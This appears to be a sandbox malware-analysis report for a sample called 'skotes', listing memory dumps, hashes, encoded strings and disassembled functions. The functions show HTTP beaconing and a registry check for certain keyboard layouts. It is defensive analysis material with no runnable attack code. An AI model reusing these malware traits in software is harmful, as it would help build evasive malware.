Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1,$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2875411339
Opcode ID: f8aebe74c626af9d30f76a02b6dc4861fce779917477601ac3474cb49b8387b8
Instruction ID: 0edc364b0fbc567c4e69ca0a5cccdb8dd2e6c633d8119e5ba9adc3e24ef38966
Opcode Fuzzy Hash: f8aebe74c626af9d30f76a02b6dc4861fce779917477601ac3474cb49b8387b8
Instruction Fuzzy Hash: 28F24A71A201449BEF18DB38CD89B9DBB76AF45304F10C298E40DA73D6DB359AE48F91

Function 0026BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,53F67923,?,00000000), ref: 0026BEB8
InternetOpenW.WININET(002B8DC8,00000000,00000000,00000000,00000000), ref: 0026BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0026BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0026BF36
HttpSendRequestA.WININET(?,00000000), ref: 0026BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0026C0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0026C161
InternetCloseHandle.WININET(?), ref: 0026C187
InternetCloseHandle.WININET(?), ref: 0026C18F
InternetCloseHandle.WININET(?), ref: 0026C197

Strings

8HJUeIfzLo==, xrefs: 0026C3CB, 0026C623
RE1NXF==, xrefs: 0026BF0E
invalid stoi argument, xrefs: 0026E4F4
8HJUeMD Lq5=, xrefs: 0026C465
stoi argument out of range, xrefs: 0026E4EA

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 59ab7f9902c8ccd08b553e2f74855094a8b2481cb73c10218e5e1c2feb8b6ace
Instruction ID: 9b898b55a4b30d99a0c790d18cfed3e05bd8c7287600f73fd41ea374cec7255d
Opcode Fuzzy Hash: 59ab7f9902c8ccd08b553e2f74855094a8b2481cb73c10218e5e1c2feb8b6ace
Instruction Fuzzy Hash: DEB116B16201189BDB24DF28CC84BED7B79EF45304F6081A9F948972D1DB749AE4CF94

Function 00266020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0026617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00266271

Strings

Keyboard Layout\Preload, xrefs: 00266054
0000043f, xrefs: 0026612B
00000422, xrefs: 002660C9
00000423, xrefs: 002660FA
00000419, xrefs: 00266098

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 17b4a4423bbdb8e7f204f67d526a041b65179e028a4554c4865530b39ba776a8
Instruction ID: ef12644919c6cad10fffc5205c80c4112cb0e889eaa15880cf8bc28bdb921e47
Opcode Fuzzy Hash: 17b4a4423bbdb8e7f204f67d526a041b65179e028a4554c4865530b39ba776a8
Instruction Fuzzy Hash: 12B1BD719102689BEB24DB24CC89BDEB779AF04340F5442D9E109E7291DB74AFE88F94

Function 00267D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00267ED3

Strings

JjsrQV==, xrefs: 00268092
JjssOl==, xrefs: 0026813A
JjsrPl==, xrefs: 0026828A
JjssPV==, xrefs: 002681E2

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: e6a63bebd2b5a499a4c6eff32f0bfde5be0a2ef5e625f5305051c075df9e4988
Instruction ID: f32b61241d1ec7d3a7c7cd2a7c33bbcc272ab11ef0144233d241c25168d75d0d
Opcode Fuzzy Hash: e6a63bebd2b5a499a4c6eff32f0bfde5be0a2ef5e625f5305051c075df9e4988
Instruction Fuzzy Hash: E6E11370E202549BDB24BB28DC0B79D7A61AB46724F9446DCE4196B3C2DF354EF48BC2

Function 002A1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002A1775: CreateFileW.KERNEL32(00000000,00000000,?,002A1B65,?,?,00000000,?,002A1B65,00000000,0000000C), ref: 002A1792

__dosmaperr.LIBCMT ref: 002A1BD7
GetFileType.KERNEL32(00000000), ref: 002A1BE3
__dosmaperr.LIBCMT ref: 002A1BF6
__dosmaperr.LIBCMT ref: 002A1D9C

Strings

H, xrefs: 002A1D21

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
